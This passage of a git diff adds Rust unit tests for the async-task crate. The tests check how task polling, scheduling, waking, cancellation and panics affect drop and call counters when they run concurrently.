+ assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn try_join_and_run_and_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + future::block_on(future::or(&mut task, future::ready(()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(future::or(&mut task, future::ready(()))); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + drop(task); + }) + .run(); +} + +#[test] +fn detach_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/ready.rs b/lib/malio/async-task/tests/ready.rs new file mode 100644 index 0000000..aefb36e --- /dev/null +++ b/lib/malio/async-task/tests/ready.rs @@ -0,0 +1,225 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` sleeps for 200 ms and outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn join_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + drop(task); + }) + .run(); +} + +#[test] +fn detach_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/waker_panic.rs b/lib/malio/async-task/tests/waker_panic.rs new file mode 100644 index 0000000..5b54f9d --- /dev/null +++ b/lib/malio/async-task/tests/waker_panic.rs @@ -0,0 +1,330 @@ +use std::cell::Cell; +use std::future::Future; +use std::panic::{catch_unwind, AssertUnwindSafe}; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms, and panics the second time it is polled. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(Cell, #[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + + if self.0.get() { + panic!() + } else { + self.0.set(true); + Poll::Pending + } + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Cell::new(false), Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +fn try_await(f: impl Future) -> Option { + future::block_on(future::poll_once(f)) +} + +#[test] +fn wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn wake_and_cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[flaky_test::flaky_test] +fn cancel_and_wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + POLL.store(0, Ordering::SeqCst); + DROP_F.store(0, Ordering::SeqCst); + SCHEDULE.store(0, Ordering::SeqCst); + DROP_S.store(0, Ordering::SeqCst); + + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn panic_and_poll() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + let mut task = task; + assert!(try_await(&mut task).is_none()); + + let runnable = chan.recv().unwrap(); + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(AssertUnwindSafe(|| try_await(&mut task))).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(get_waker()); + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} diff --git a/lib/malio/async-task/tests/waker_pending.rs b/lib/malio/async-task/tests/waker_pending.rs new file mode 100644 index 0000000..ccd540b --- /dev/null +++ b/lib/malio/async-task/tests/waker_pending.rs @@ -0,0 +1,365 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; +use easy_parallel::Parallel; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms and returns `Poll::Pending`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Pending + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, _task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 2); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake_by_ref(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 2); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + }) + .run(); + + chan.recv().unwrap(); + drop(get_waker()); +} + +#[test] +fn cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn wake_and_cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn cancel_and_wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn drop_last_waker() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(waker); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + 